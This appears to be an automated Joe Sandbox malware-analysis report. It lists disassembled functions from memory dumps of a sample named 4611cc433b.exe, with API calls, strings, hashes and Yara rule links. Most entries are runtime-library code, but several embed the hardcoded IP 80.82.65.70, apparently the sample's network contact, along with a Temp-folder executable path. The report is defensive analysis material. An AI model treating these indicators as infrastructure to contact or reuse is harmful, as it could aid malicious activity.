WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000), ref: 0041CBFF
GetLastError.KERNEL32(?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000,?,0041A021,?), ref: 0041CC0B

Part of subcall function 0041CBD1: CloseHandle.KERNEL32(FFFFFFFE,0041CC1B,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000,00000000), ref: 0041CBE1

___initconout.LIBCMT ref: 0041CC1B

Part of subcall function 0041CB93: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0041CBC2,0041C84C,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CBA6

WriteConsoleW.KERNEL32(00000000,00000000,?,00000000,?,0041C85F,00000000,00000001,?,00000000,?,00419A7E,00000000,00000000,00000000,00000000), ref: 0041CC30

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction ID: b2f8e5e77f4d676ad0e685e0439cc39e0844638a97b8ad054d7e4805cd8d945f
Opcode Fuzzy Hash: e3757025193b1f655bc0a77c3c1a7d52d6e2513ac00293883d9defc3f3400d05
Instruction Fuzzy Hash: D6F01C36580118BBCF221F95ED45ADA3F26FF497A0B404031FA0D96121D6328C619BD8

Function 1000CD22 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001), ref: 1000CD39
GetLastError.KERNEL32(?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001,?,1000BFFB,10009A1A), ref: 1000CD45

Part of subcall function 1000CD0B: CloseHandle.KERNEL32(FFFFFFFE,1000CD55,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?,00000001), ref: 1000CD1B

___initconout.LIBCMT ref: 1000CD55

Part of subcall function 1000CCCD: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,1000CCFC,1000C7D5,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CCE0

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,1000C7E8,?,00000001,?,00000001,?,1000BAAF,?,?,00000001,?), ref: 1000CD6A

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction ID: e182fa176b596d651ba3484f1012657cf00b5fef4cb1dd311ab1bc31a0a6f155
Opcode Fuzzy Hash: 2cecfe65eba2e63a17b5684705d35a016e8c273fc96426fc022e5dbf763bb7f4
Instruction Fuzzy Hash: 53F030368002A9BBEF125F95CC48EC93FA6FB0D3E0F018025FA0885130DA32C9609B90

Function 00409D0D Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00409CAA,00000064), ref: 00409D30
LeaveCriticalSection.KERNEL32(0042D064,00401044,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D3A
WaitForSingleObjectEx.KERNEL32(00401044,00000000,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D4B
EnterCriticalSection.KERNEL32(0042D064,?,00409CAA,00000064,?,?,?,00401044,0042DA8C), ref: 00409D52

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID:
API String ID: 3269011525-0
Opcode ID: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction ID: ed1c7c09b24d5124ebc712e1e7f2573f2e40a4f9289d25860d0ee5ca28a3c269
Opcode Fuzzy Hash: 203c7f3a807ec8057ea0aa5072313220b9e23051332dfe18f360eb7747514d6b
Instruction Fuzzy Hash: 8FE0ED31A85628FBCB111B50FC09AD97F24AF09759F508032F90976171C7795D039BDD

Function 100067E8 Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 100067F1

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 10006804
_free.LIBCMT ref: 10006815
_free.LIBCMT ref: 10006826

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction ID: 2a5a278bef7b5ad6e03033ca92f6b3e0bb2fc7991e1f46602c590ec50041d4ba
Opcode Fuzzy Hash: debb3193547cbbcb7717f1e4cdc42473b8e46860ea64e0849bed9af40c6c58a4
Instruction Fuzzy Hash: FBE0E675D10131BAF711EF249C8644E3FA1F799A503068015F528222B7C7369751DFE3

Function 00410EDD Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 194COMMON

Download Yara Rule

APIs

__startOneArgErrorHandling.LIBCMT ref: 00410F6D

Strings

pow, xrefs: 00410F45, 00410F62

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: ErrorHandling__start
String ID: pow
API String ID: 3213639722-2276729525
Opcode ID: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction ID: 1dd945e64f0d07477a36e3934c2b0d008af5dc79b4df0e8c4bba017ec81d751d
Opcode Fuzzy Hash: 31403c08627a7049c2df153d0248aecbd7cedb7773a1804d7f4783afb4547b5b
Instruction Fuzzy Hash: 65512B75A0820296CB217714DA023EB6BA49B40750F618D6FF095463E9EBBCCCD7DA4E

Function 00409590 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 183COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 004096CE
std::_Xinvalid_argument.LIBCPMT ref: 004096E5

Strings

vector too long, xrefs: 004096E0

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: Concurrency::cancel_current_taskXinvalid_argumentstd::_
String ID: vector too long
API String ID: 3646673767-2873823879
Opcode ID: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction ID: f4da2a5e80598445161bac14147e50f437b92e93805fe79093e1120e4695fd56
Opcode Fuzzy Hash: 76399865d75423f55fc174df7396f940014b7bb3f785ca2fba6546e7ea2eb098
Instruction Fuzzy Hash: 5A5125B2E002159BCB14DF69C84066EB7A5EF80314F10067FE805FB382EB75AD408BD5

Function 10006038 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe, xrefs: 1000607B, 10006082, 100060B8

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\1013605001\4611cc433b.exe
API String ID: 0-2455959742
Opcode ID: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction ID: cc2ecb4b5d0b55cd4a25e2381517e3645a439caaa5f14caae8cc7f97f4731dcb
Opcode Fuzzy Hash: 4a8ba0bb3459913fcd586df3a76a6e4d0e3c9f4097a590b62cd75fbc9ff119e1
Instruction Fuzzy Hash: 9241AD75E00215BBEB11CB99CC8199FBBF9EF89390B244066F901A7216D6719B80CB90

Function 04B7BA27 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 04B7BA66
__IsNonwritableInCurrentImage.LIBCMT ref: 04B7BB1A

Strings

csm, xrefs: 04B7BB04

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: 6734a4452c4735a42bea599713ca4a630e12315d72c47de52c7674f308d2b9bd
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 59417F34A042089FDF10EF68C885A9EBBB5EF4431CF148199E8256B391DB75FA16CF91

Function 04B7C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B7C2EC

Strings

MOC, xrefs: 04B7C2FE
RCC, xrefs: 04B7C306

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 3d805751832c6a4d3e814306f8d014ff172cb54c0c1397b90ed7c25544aa87c8
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: 00412871900209EFDF25DF98CD80AEEBBB5FF48304F158499F924A7221D335A950DB50

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

RCC, xrefs: 0040C09F
MOC, xrefs: 0040C097

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

MOC, xrefs: 1000450D
RCC, xrefs: 10004515

Memory Dump Source

Source File: 00000007.00000002.3290931900.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000007.00000002.3290893671.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291064819.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.3291100953.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_10000000_4611cc433b.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 04D10700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1078C

Strings

]DFE, xrefs: 04D10720
KN, xrefs: 04D1072E

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: 37ec326df0576036f58e5ab2b3b8ee82f5a79f543965f89300d315cb6203cfa1
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 6A2128B0F00284EAE721EF64F8557A8B760EF19308F448265E8541B271EB7461C2CF5D

Function 04B71467 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B714DB

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

80.82.65.70, xrefs: 04B71509, 04B71539
80.82.65.70, xrefs: 04B714C4, 04B71504, 04B71533, 04B71534

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: 80.82.65.70$80.82.65.70
API String ID: 4132704954-1577043641
Opcode ID: 07bd28fcd21f011eaf070bad7c510e2f1a1403833c0c1b8591a1f52e7630df6a
Instruction ID: 6bcb700dcd039f704f41f677cf35f04762a6575edff1fd03b0e02e14822e8300
Opcode Fuzzy Hash: 07bd28fcd21f011eaf070bad7c510e2f1a1403833c0c1b8591a1f52e7630df6a
Instruction Fuzzy Hash: 6A2102B0F042449BFB24EFA8E818BAD3BA0FB05308F9046E9C4615B391DB797505CB59

Function 04B71267 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B712DB

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

80.82.65.70, xrefs: 04B71309, 04B71339
80.82.65.70, xrefs: 04B712C4, 04B71304, 04B71333, 04B71334

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: 80.82.65.70$80.82.65.70
API String ID: 4132704954-1577043641
Opcode ID: 2e358c03454c8ca0339307a62ceba206daebb9db19443e29979043866e3e4bb9
Instruction ID: 2d9b21caff7e1fb1fc6b0e18a9724e3c10cfe8a24061df566e59531b3233f9fc
Opcode Fuzzy Hash: 2e358c03454c8ca0339307a62ceba206daebb9db19443e29979043866e3e4bb9
Instruction Fuzzy Hash: 032135B0F082449FEB18EFA8E848FA937A0EB01304F9041F9C4619B790DBF56405CB59

Function 04B71367 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B713DB

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

80.82.65.70, xrefs: 04B713C4, 04B71404, 04B71433, 04B71434
80.82.65.70, xrefs: 04B71409, 04B71439

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: 80.82.65.70$80.82.65.70
API String ID: 4132704954-1577043641
Opcode ID: 6f8a262b2ef104defcdc6f90d92fdfd3fb7d0b6281280ca5067e66dc91346c78
Instruction ID: 1cd6c922971513aa06bf91a5d6ecc6ddedfd28e8d2b20aca543198f5de6e97fd
Opcode Fuzzy Hash: 6f8a262b2ef104defcdc6f90d92fdfd3fb7d0b6281280ca5067e66dc91346c78
Instruction Fuzzy Hash: FE2123F0F042049AF710EF7CE848BA937B0EF05308FA002E9D0655B391DB786486CB59

Function 00401000 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00401074

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

80.82.65.70, xrefs: 004010A2, 004010D2
80.82.65.70, xrefs: 0040105D, 00401090, 0040109D, 004010CC, 004010CD

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: 80.82.65.70$80.82.65.70
API String ID: 2296764815-1577043641
Opcode ID: 32fb9dbb851d29ea3ee66635538828acf27eb13baf95c79fbe3a394fd4cccb28
Instruction ID: d40537ac06bfeeeb5155b9449fde36ad973797e9211f2f338320cd713262b961
Opcode Fuzzy Hash: 32fb9dbb851d29ea3ee66635538828acf27eb13baf95c79fbe3a394fd4cccb28
Instruction Fuzzy Hash: 6F213870F042858ED714EFA4D949FA937A0AB01308F9041BED455AB7D2D7F95801CB5D

Function 00401100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00401174

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

80.82.65.70, xrefs: 0040115D, 00401190, 0040119D, 004011CC, 004011CD
80.82.65.70, xrefs: 004011A2, 004011D2

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: 80.82.65.70$80.82.65.70
API String ID: 2296764815-1577043641
Opcode ID: 95f946c48c4c9a1c552ca74208a075476c2625786aba302f433f8ce5838335cd
Instruction ID: 20ecc9d38e1d1ff622fcacff21bf325771755b06b4b0f3502bfd6041e161e0ff
Opcode Fuzzy Hash: 95f946c48c4c9a1c552ca74208a075476c2625786aba302f433f8ce5838335cd
Instruction Fuzzy Hash: 1321F9F0F002048AE714EF78D845B6977B0AF05308F5041BEE055AB3E2D7785845C75D

Function 00401200 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00401274

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

80.82.65.70, xrefs: 0040125D, 00401290, 0040129D, 004012CC, 004012CD
80.82.65.70, xrefs: 004012A2, 004012D2

Memory Dump Source

Source File: 00000007.00000002.3255103045.0000000000400000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_4611cc433b.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: 80.82.65.70$80.82.65.70
API String ID: 2296764815-1577043641
Opcode ID: 8ac7559cd096b78f9bad13a9b0316c22253b706b681f4a581f4e6e26a79fa5e2
Instruction ID: 2c15019d098367a99f21d4af5afc8dc12e6aa8ed7a12979674b017049dd95ab0
Opcode Fuzzy Hash: 8ac7559cd096b78f9bad13a9b0316c22253b706b681f4a581f4e6e26a79fa5e2
Instruction Fuzzy Hash: 8B2108B4F002049AEB10EFB4E859B6E7BA0AB05308F9045FED451BB3D2D7796901CB5D

Function 04D17810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D1787E

Strings

_DC[, xrefs: 04D17827
CD^O, xrefs: 04D17830

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 3b535f94b09d7cf46c34454d8fe4eb76447d6cf99152d932287b846cad1c18af
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 8001F970F04354ABC720EFB8BD51AAD7360EB18315F9002B9D915572A0EB74B541CB99

Function 04D17250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D172BE

Strings

CD^O, xrefs: 04D17270
_DC[, xrefs: 04D17267

Memory Dump Source

Source File: 00000007.00000003.2941756501.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D10000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_4d10000_4611cc433b.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 0024a0cb7ff1ba13cacb1a350534947a341a4ed6b64985342ab15f70e5d9ca7b
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 3D01F9B1F00248EFC720EFB8BD51A6D7360EB15304FA002A9ED195B2A0E7347542CB56

Function 04B78677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B786E5

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

_DC[, xrefs: 04B7868E
CD^O, xrefs: 04B78697

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4b70000_4611cc433b.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 660c3610c42ad5eb4dbec770892c7138e346a270bd9e134a71e90593d6356bcf
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 4801F970F04358DBE720FF7CAD81A5D7360EB19210F9005A9D22457350DB74B585C789

Function 04B780B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B79EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EF7
Part of subcall function 04B79EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79F34

__Init_thread_footer.LIBCMT ref: 04B78125

Part of subcall function 04B79EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B79EAC
Part of subcall function 04B79EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B79EDF

Strings

_DC[, xrefs: 04B780CE
CD^O, xrefs: 04B780D7

Memory Dump Source

Source File: 00000007.00000002.3279910131.0000000004B70000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B70000, based on PE: false

Joe Sandbox IDA Plugin

